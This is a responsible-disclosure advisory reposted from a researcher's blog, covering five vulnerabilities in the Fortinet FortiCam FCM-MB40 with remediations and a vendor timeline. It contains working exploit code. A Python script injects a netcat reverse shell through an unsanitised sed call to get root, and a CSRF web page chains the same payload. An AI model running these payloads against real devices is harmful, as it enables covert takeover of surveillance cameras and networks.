FortiCam FCM-MB40 Code Execution / Privilege Escalation

2019.06.25
Credit: XORcat
Risk: High
Local: No
Remote: Yes
CVE: N/A

Original posting: https://xor.cat/2019/06/19/fortinet-forticam-vulns/ ## Background In March of 2019 I discovered five vulnerabilities in Fortinet's FortiCam FCM-MB40[1] product. Part-way through disclosing this vulnerability, I discovered that the FCM-MB40 is manufactured by a company called Dynacolor Inc[2], which calls the product "Q2-H"[3]. The FortiCam FCM-MB40 software version which I found these vulnerabilities in was the latest version at the time (and at the time of posting this, still is), v1.2.0.0. Since discovering these vulnerabilities I have been unable to get my hands on a Q2-H which is not branded as Fortinet. As such, I am unable to confirm whether the below vulnerabilities also apply directly to the Q2-H device. In saying that, I am reasonably confident that the majority of the vulnerabilities also affect the Q2-H. As of the date of publication (2019-06-19), no fix for these issues has been released or announced by Fortinet or Dynacolor. All five of these vulnerabilities are currently pending CVE assignment, and this page will be updated when they have been assigned. The first (1), CVE-TBA, is an unsanitised input vulnerability in the FortiCam's admin web interface, resulting in remote command execution as `root`, when authenticated as an administrative user. The second (2), CVE-TBA, is a cross-site request forgery (CSRF) vulnerability which allows an attacker to fool a browser logged in as the "admin" user into forging requests which can reconfigure the FortiCam in any way that the "admin" user is able to from the web interface. The third (3), CVE-TBA, is a hardcoded SSL/TLS encryption key vulnerability. The fourth (4), CVE-TBA, refers to the insecure (cleartext) storage of administrative password credentials on the device. The fifth (5), CVE-TBA, is a vulnerability whereby the device's "factory reset" function does not sufficiently reset the device. Below, I will cover all five vulnerabilities in detail. ## 1 - CVE-TBA - FCM-MB40 Remote Command Execution as Root ### Summary Forticam FCM-MB40 Remote Command Execution Vulnerability Product: FCM-MB40 Version: v1.2.0.0 Vendor: Fortinet CVE-ID: CVE-TBA CWE-78: Improper Neutralisation of Special Elements used in an OS Command ('OS Command Injection') Many CGI scripts in the FCM-MB40's `/cgi-bin/` web directory pass input from user-provided parameters directly to shell commands such as `sed` without sanitising or verifying the input. An attacker with admin access to the web interface is able to gain command execution as root, which would allow them to implement persistence, and have full covert control over the device for an indefinite period of time. ### Details The below proof-of-concept python script exploits a call to `sed` in `/cgi-bin/camctrl_save_profile.cgi` which directly uses the parameter `name` from the user's GET request to modify the contents of `/cgi-bin/ddns.cgi` to execute a reverse shell using `netcat`. ```python #!/usr/bin/python3 import requests # replace IP addresses with relevant test environment IP addresses forticam_ip = '192.168.1.20' callback_ip = '192.168.1.10' callback_port = '1337' # default web interface admin password is admin username = 'admin' password = 'admin' name_param = 'a%20-e%20s/^if.*/nc\\t{}\\t{}\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20'.format(callback_ip, callback_port) sed_url = 'http://{}/cgi-bin/camctrl_save_profile.cgi?num=9&name={}&save=profile'.format(forticam_ip, name_param) execute_url = 'http://{}/cgi-bin/ddns.cgi'.format(forticam_ip) print("[-] Attacking {}".format(forticam_ip)) requests.get(sed_url, auth=requests.auth.HTTPBasicAuth(username, password)) requests.get(execute_url, auth=requests.auth.HTTPBasicAuth(username, password)) ``` The line of code being exploited in `camctrl_save_profile.cgi` is line 64, shown below (whitespace modified for ease of reading): ```bash sed -i '/Profile.'$targetp'.Name=/s/Profile.'$targetp'.Name=.*/Profile.'$targetp'.Name='$name'/' /etc/sysconfig/$targetconf ``` Note the `$name` parameter is directly inserted into the `sed` command without sanitisation. This allows the attacker to take control of `sed` to modify the contents of any arbitrary file. Before running the above script, we run `nc -nvlp 1337` on our host, to catch the reverse shell that will be executed on the camera. In the above proof of concept we modify `ddns.cgi` to execute `nc 192.168.1.10 1337 -e /bin/sh`. We then send a request to the camera, requesting `ddns.cgi`, causing our `nc` command to be executed as the `root` user. After the reverse shell connects back to us, we can verify that the exploit has successfully run as the root user: ``` id uid=0(root) gid=0(root) uname -a Linux FortiCamera 3.10.73 #5 PREEMPT Tue Jan 17 16:17:47 CST 2017 armv7l GNU/Linux ``` From this point, it is possible to take complete control of the camera in any way we like. An attacker could utilise widely known default credentials and network reachability to covertly run commands as the root user, implanting a persistent callback to their command and control server which will remain on the camera until it's firmware is upgraded. #### Note * The above pair of scripts are only an example of this vulnerability. The same pattern which allows this exploit to function exists in many other CGI scripts in the FCM-MB40's `/cgi-bin` web directory. ### Recommended Remediations * User input in all CGI scripts should be checked for potentially dangerous characters before being inserted into shell commands. * The web server executing CGI scripts should be running as a non-privileged user, so that this vulnerability would not expose access to the root user. ### Fix Information Dynacolor and Fortinet have yet to provide a fix. --- ## 2 - CVE-TBA - FCM-MB40 CSRF in Multiple Scripts ### Summary Forticam FCM-MB40 CSRF in Multiple CGI Scripts Product: FCM-MB40 Version: v1.2.0.0 Vendor: Fortinet CVE-ID: CVE-TBA CWE-352: Cross-Site Request Forgery (CSRF) All CGI scripts in the FCM-MB40's `/cgi-bin/` web directory allow an attacker to fool a logged-in "admin"'s browser into forging requests which can reconfigure the FCM-MB40 in any way that the "admin" user is able to from the web interface. An attacker who knows the IP address of a FCM-MB40, and who is able to trick an "admin" user into opening a crafted webpage, is able to reconfigure the FCM-MB40 on behalf of the "admin" user, without their knowledge or authorisation. ### Details The below are some (non-exhaustive) example changes that the attacker could make to the FCM-MB40 by exploiting this CSRF: * Change admin password * Add new admin account * Restart camera * Configure FTP server for camera to send footage to * Disable scheduled recording * Upgrade firmware * Change camera hostname These changes are possible because the FCM-MB40's web interface uses GET parameters to influence the device's configuration state. For example, to change the device's hostname, a user simply needs to visit the following URL when logged in as the "admin" user: `http://192.168.1.20/cgi-bin/date.cgi?system_hostname=NewHostname` It is trivial for an attacker to trick a user's web browser into performing a GET request to a URL such as the above. Combined with the previously disclosed vulnerability (#1) regarding remote command execution, this CSRF vulnerability allows a remote, unauthenticated attacker to gain remote command execution as root. The below proof-of-concept web-page demonstrates this. ```html <html> <!-- FCM-MB40 CSRF to RCE as root, by Aaron Blair (@xorcat) --> <head> <script> const sleep = (milliseconds) => { return new Promise(resolve => setTimeout(resolve, milliseconds)) }; var sed_url = 'http://192.168.1.20/cgi-bin/camctrl_save_profile.cgi?num=9&name=a%20-e%20s/^if.*/nc\\t192.168.1.10\\t1337\\t-e\\t\\/bin\\/sh\\nexit/%20../cgi-bin/ddns.cgi%20&save=profile'; var execute_url = 'http://192.168.1.20/cgi-bin/ddns.cgi'; var sed_img = document.createElement("img"); sed_img.src = sed_url; sleep(400).then(() => { var execute_img = document.createElement("img"); execute_img.src = execute_url; }); </script> </head> <body> <h1>Welcome to my non-malicious website.</h1> </body> </html> ``` Follow the following steps to demonstrate this PoC: 1. Replace IP addresses in Javascript code to represent your testing environment. 2. Launch a `netcat` listener on the attacker's host using `nc -nvlp 1337` 3. Ensure the "admin" user's browser is logged in to the FCM-MB40. * Note: all modern browsers will cache Basic Authentication credentials (such as those used by the FCM-MB40) even if the FCM-MB40's administration page is closed. 4. Open the above crafted HTML document using the "admin" user's browser. * Note: In an attack scenario, this step would be performed by implanting the code into a legitimate webpage that the "admin" user visits, or by tricking the "admin" user into opening a page which includes the code. 5. Note that the `netcat` listener established in step 2. has received a connection from the camera, and that it is presenting a `/bin/sh` session as root. * Note: type `id` in the `netcat` connection to verify this. _Note: After this issue has been exploited, the state of the system will have changed, and future exploitation attempts may require modification._ ### Recommended Remediations * All web application parameters which are used to modify device state should be required to be sent as POST parameters. * POST requests should be protected by implementing some form of CSRF protection, such as dynamic secret tokens which are sent to the user as part of the HTML form which they fill out. This secret token is then sent as a POST parameter with the form data. This secret token must be verified by the CGI script as correct before any changes are made to the device. * More information about CSRF and how to prevent it can be found on the OWASP website[4]. ### Fix Information Dynacolor and Fortinet have yet to provide a fix. --- ## 3 - CVE-TBA - FCM-MB40 Hardcoded SSL/TLS Encryption Keys ### Summary Forticam FCM-MB40 Hardcoded SSL/TLS Encryption Keys Product: FCM-MB40 Version: v1.2.0.0 Vendor: Fortinet CVE-ID: CVE-TBA CWE-321: Use of Hard-coded Cryptographic Key The FortiCam FCM-MB40 and other FortiCams utilise a hardcoded, preconfigured SSL certificate for their web administration interface. This could allow anybody with access to the traffic to decrypt after the fact, or man-in-the-middle the traffic if they are in-line. ### Details The FortiCam FCM-MB40's Mbedthis Appweb web server uses an SSL certificate deployed with the firmware, and is never changed unless the user chooses to regenerate a new certificate. Effectively, all FortiCam FCM-MB40's use the same SSL certificate, meaning that any user with access to one of the cameras is able to decrypt the SSL traffic for any FCM-MB40. The below lines are extracted from `/etc/appWeb/appweb.conf`, which identify the certificate for the camera to use: ```apache <VirtualHost *:443> DocumentRoot "/usr/apache/htdocs" SSLEngine on SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL SSLProtocol ALL -SSLV2 # # WARNING: you must regenerate the server.crt and server.key.pem # SSLCertificateFile "/etc/ssl/certificate.pem" # # WARNING: we are using the decrypted key here so it won't prompt for the # password. Replace with server.key for higher security # SSLCertificateKeyFile "/etc/ssl/certificate.pem" ``` A description of the listed certificate (private key excluded) is included below: ``` Certificate: Data: Version: 3 (0x2) Serial Number: 138467 (0x21ce3) Signature Algorithm: sha1WithRSAEncryption Issuer: C=US, ST=California, L=Sunnyvale, O=Fortinet, OU=Certificate Authority, CN=support/emailAddress=support@fortinet.com Validity Not Before: Aug 14 15:18:49 2012 GMT Not After : Jan 19 03:14:07 2038 GMT Subject: C=US, ST=California, L=Sunnyvale, O=Fortinet, OU=FortiCam, CN=camera/emailAddress=support@fortinet.com Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:c1:db:15:48:58:a9:af:04:13:18:8d:e6:14:53: 69:48:4d:3e:b1:25:ef:2f:f9:b4:02:2d:31:6e:93: 8a:6f:fb:49:1d:07:91:75:1a:6a:10:21:f5:00:a4: 67:27:20:53:46:34:6b:0e:91:eb:5d:5d:72:39:78: 3d:81:97:22:5c:48:d6:07:d5:ab:21:ee:24:59:08: 28:65:1e:9f:6a:ab:73:c4:ca:1c:21:79:67:bf:15: d2:09:6a:1c:91:09:4b:73:5c:5e:d2:6d:e3:e4:e3: 17:92:f5:48:ef:e7:b1:4a:45:d4:59:44:88:61:11: 7c:81:64:82:ae:2f:41:75:91:e8:2e:83:83:22:a2: 83:3a:3b:aa:44:92:47:6c:50:65:33:95:db:d4:57: 54:ab:e6:78:3c:12:8b:cc:45:56:fb:ef:54:d1:47: c0:20:bb:55:78:22:e6:f7:3f:88:83:e9:48:98:0e: 12:6c:6b:52:9b:4b:10:aa:78:93:1d:9c:4a:a1:61: 8c:00:67:b1:79:66:ad:da:a7:37:90:87:00:8d:fa: 11:6a:91:f0:85:be:98:a6:01:e2:1b:38:ac:83:b5: 82:5c:28:cb:8c:d9:43:e1:6b:30:7c:84:cb:0a:14: fd:0f:cd:02:68:4f:c7:4a:e6:52:0a:77:0e:bb:84: 5f:bd Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE Signature Algorithm: sha1WithRSAEncryption d2:ef:47:0c:ba:dc:15:17:80:10:6a:49:88:b0:3d:48:82:cf: fb:05:d7:7e:48:9b:c7:1f:83:fe:87:2f:b4:86:ca:bb:73:d0: 82:6d:7f:68:29:0e:54:00:c2:23:3d:8d:b3:d9:7d:69:1d:82: 21:31:a8:76:f0:f3:67:99:3a:26:78:8e:39:a6:37:ef:c1:9e: dd:13:67:e2:08:04:d5:25:17:13:8f:84:59:c0:57:9c:b4:2b: be:17:31:16:e4:d3:28:db:0e:c8:0a:20:75:49:08:3b:10:98: 28:27:cb:0f:67:5a:ad:bc:71:14:33:29:89:74:35:f1:53:4a: be:0b:8b:d3:6e:0f:26:26:84:5d:dc:64:ce:0c:3a:fc:77:91: ea:dd:d4:1b:af:e9:fc:f8:1c:a5:28:38:82:2e:d2:69:56:6c: 04:95:8a:34:10:8b:46:26:67:e8:2c:0f:e7:10:6d:11:1f:d2: b5:9d:7c:22:ba:91:93:b6:23:97:8e:b0:a6:b8:b5:43:ee:64: 64:c1:f9:08:a7:de:e3:48:8e:a1:46:6a:b6:46:bd:8f:ab:06: 67:a9:d0:84:69:18:e9:a7:24:ca:54:b6:cf:67:58:c8:23:2e: f4:7e:9b:89:d6:74:69:26:4a:5f:cc:74:6e:dc:34:3d:65:ef: 08:05:4f:43 -----BEGIN CERTIFICATE----- MIIDuzCCAqOgAwIBAgIDAhzjMA0GCSqGSIb3DQEBBQUAMIGgMQswCQYDVQQGEwJV UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0 LmNvbTAeFw0xMjA4MTQxNTE4NDlaFw0zODAxMTkwMzE0MDdaMIGPMQswCQYDVQQG EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw DwYDVQQKEwhGb3J0aW5ldDERMA8GA1UECxMIRm9ydGlDYW0xMTAvBgNVBAMUKGNh bWVyYS9lbWFpbEFkZHJlc3M9c3VwcG9ydEBmb3J0aW5ldC5jb20wggEiMA0GCSqG SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDB2xVIWKmvBBMYjeYUU2lITT6xJe8v+bQC LTFuk4pv+0kdB5F1GmoQIfUApGcnIFNGNGsOketdXXI5eD2BlyJcSNYH1ash7iRZ CChlHp9qq3PEyhwheWe/FdIJahyRCUtzXF7SbePk4xeS9Ujv57FKRdRZRIhhEXyB ZIKuL0F1kegug4MiooM6O6pEkkdsUGUzldvUV1Sr5ng8EovMRVb771TRR8Agu1V4 Iub3P4iD6UiYDhJsa1KbSxCqeJMdnEqhYYwAZ7F5Zq3apzeQhwCN+hFqkfCFvpim AeIbOKyDtYJcKMuM2UPhazB8hMsKFP0PzQJoT8dK5lIKdw67hF+9AgMBAAGjDTAL MAkGA1UdEwQCMAAwDQYJKoZIhvcNAQEFBQADggEBANLvRwy63BUXgBBqSYiwPUiC z/sF135Im8cfg/6HL7SGyrtz0IJtf2gpDlQAwiM9jbPZfWkdgiExqHbw82eZOiZ4 jjmmN+/Bnt0TZ+IIBNUlFxOPhFnAV5y0K74XMRbk0yjbDsgKIHVJCDsQmCgnyw9n Wq28cRQzKYl0NfFTSr4Li9NuDyYmhF3cZM4MOvx3kerd1Buv6fz4HKUoOIIu0mlW bASVijQQi0YmZ+gsD+cQbREf0rWdfCK6kZO2I5eOsKa4tUPuZGTB+Qin3uNIjqFG arZGvY+rBmep0IRpGOmnJMpUts9nWMgjLvR+m4nWdGkmSl/MdG7cND1l7wgFT0M= -----END CERTIFICATE----- ``` Using the above certificate, and the corresponding private key, anybody who gains access to the SSL traffic from an FCM-MB40 is able to decrypt it, which can expose the admin credentials, even if the camera is joined to and managed by FortiRecorder. ### Recommended Remediations * Upon first boot with a fresh firmware image, the camera should generate a unique SSL certificate which is not shared between customers and devices. ### Fix Information Dynacolor and Fortinet have yet to provide a fix. --- ## 4 - CVE-TBA - FCM-MB40 Cleartext Storage of Credentials ### Summary Forticam FCM-MB40 Cleartext Storage of Credentials Product: FCM-MB40 Version: v1.2.0.0 Vendor: Fortinet CVE-ID: CVE-TBA CWE-256: Unprotected Storage of Credentials The FortiCam FCM-MB40 stores the username and password configured for the administrative web interface in cleartext on it's filesystem. ### Details The login credentials for any user allowed to log into the web interface are accessible in the file `/etc/appWeb/appweb.pass`. These credentials are also accessible from the following URL on the camera's web administration interface: `/cgi-bin/getuserinfo.cgi?mode=info`. If a user gains read-only access to the device's filesystem, or web administration interface, they are able to acquire the credentials used to administer the device. Due to this issue, a user with filesystem access is also able to read the password which FortiRecorder sets on a FortiCam FCM-MB40. If FortiRecorder uses the same password for all FortiCams when they join the FortiRecorder, this issue would allow a user with access to one camera to gain access to every camera "owned" by the FortiRecorder. ### Recommended Remediations * User credentials should be stored in a strong hash format which is suitable for password storage, instead of cleartext. `bcrypt` can be configured as a suitably strong functionz ### Fix Information Dynacolor and Fortinet have yet to provide a fix. --- ## 5 - CVE-TBA - FCM-MB40 Insufficient Factory Reset ### Summary Forticam FCM-MB40 Insufficient Factory Reset Procedure Product: FCM-MB40 Version: v1.2.0.0 Vendor: Fortinet CVE-ID: CVE-TBA CWE-665: Improper Initialisation The FortiCam FCM-MB40's factory reset functionality, initiated through pressing the physical factory reset button, or initiated through software, does not reset all aspects of the system to the factory state. An adversary with temporary access to the device could implant a backdoor account or service which would not be removed when undertaking a factory reset. ### Details If low level access is gained to a FortiCam MB40, and filesystem modifications are made, these are not reverted when the device owner executes the factory reset function. The factory reset function is implemented in `/usr/sbin/default.sh` and `/usr/apache/htdocs/cgi-bin/admin/hardfactorydefault.cgi`. Both of these scripts reset some configuration parameters. Combined with the previously disclosed vulnerability (#1) regarding remote command execution, any user which is able to gain access to the camera is able to implant a backdoor executable on the camera which will execute whenever the camera starts, giving the attacker persistent root access to the camera. For example: * a user could sell the camera on to a second owner; * the camera could be tampered with in transit to its final destination. After executing the factory reset function, a backdoor previously installed, such as a malicious cron entry or changed root password, is not removed. The only way that a user which doesn't trust their supply chain is able to restore the device to factory defaults is to perform a firmware upgrade, however in order to perform a firmware upgrade the user must first connect the untrusted device to their network. ### Recommended Remediations * The factory reset function should re-flash the firmware on the camera, and this process should be cryptographically verified to ensure that the firmware which is being reflashed has not been tampered with. ### Fix Information Dynacolor and Fortinet have yet to provide a fix. ## General Recommendations For Users If you are using the FortiCam FCM-MB40 devices, consider the below tips in order harden your device, and protect your network. * Set a strong, **unique** password for the administrative user. * Do not use a password which you use for other systems on this device. * Keep these devices in a segregated environment with firewall rules preventing it from communicating with the Internet, or other networks in your environment, and preventing other devices on your network from communicating with it. * Generate SSL/TLS certificates from your internal CA infrastructure, or generate a new self-signed certificate on the device, replacing the built-in, hardcoded certificate. * Whenever attempting to perform a factory reset, realise that the factory reset functionality does not reset the device to factory defaults. In order to completely restore the device to defaults, perform a firmware upgrade. ## Timeline 2019-03-08 * Reached out to Fortinet contacts asking who to contact for disclosure. Provided contact information and PGP information. 2019-03-09 * Provided full vulnerability information to provided contact. * Provided full vulnerability information about vulnerability two to provided contact. * Preferred date of disclosure, 2019-05-10, provided to contact. 2019-03-18 * Reached out to contact asking whether they have received communications. Realised that contact was not able to decrypt my messages. * Sent the same vulnerability information to psirt@fortinet.com including revised disclosure date of 2019-05-17. 2019-03-20 * Received response from Fortinet PSIRT, stating that the upstream vendor has been notified, and that because the development is done by a 3rd party, Fortinet is unsure whether a 60 day disclosure date will be met. 2019-03-21 * Provided full vulnerability information about vulnerabilities three, four and five to Fortinet PSIRT. Noted that preferred disclosure date for these vulnerabilities is 2019-05-20. * Received acknowledgement from Fortinet PSIRT. 2019-04-10 * Requested an update on progress. 2019-04-12 * Fortinet PSIRT state that no update has been provided from upstream vendor. 2019-04-27 * Fortinet PSIRT provides email addresses for upstream vendor, Dynacolor. * Reached out to Dynacolor, asking for PGP/secure communications method. 2019-05-09 * Reminded Fortinet that vulnerabilities one and two are planned to be disclosed on 2019-05-17. 2019-05-13 * Fortinet PSIRT mention that Dynacolor have acknowledged the vulnerabilities. 2019-05-15 * Fortinet PSIRT state that they are not sure whether Dynacolor are able to issues a patch before 2019-05-17. Fortinet suggest a 90-day disclosure deadline in this case. 2019-05-16 * Respond to PSIRT with updated disclosure dates 2019-06-16 and 2019-06-19, also letting them know that I have yet to receive a response from Dynacolor. * Reach out to Dynacolor again, stating that I have not yet received a response, and that there are product vulnerabilities which will be disclosed on 2019-06-16, following the disclosure period previously discussed with Fortinet. I also repeat my request to set up an encrypted channel. 2019-05-17 * Dynacolor respond, stating that they do not have a PGP key, and ask whether there is another way we could communicate. * Respond stating I am happy to communicate using Keybase (account provided), or any other secure method they can use. Alternatively I state that we can communicate using plaintext email if required. 2019-06-19 * This post is published. ## Closure Thanks to Fortinet for their timely and friendly co-operation, and to my employer, RIoT Solutions[5], for allowing me to perform this research as part of my work. [1]: https://www.fortinet.com/content/dam/fortinet/assets/data-sheets/FortiCamera.pdf [2]: https://www.dynacolor.com.tw/ [3]: https://www.dynacolor.com.tw/portfolio-item/h/ [4]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) [5]: https://www.riotsolutions.com.au/ -- XORcat PGP Key: 0xA528A62C https://keybase.io/xorcat


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top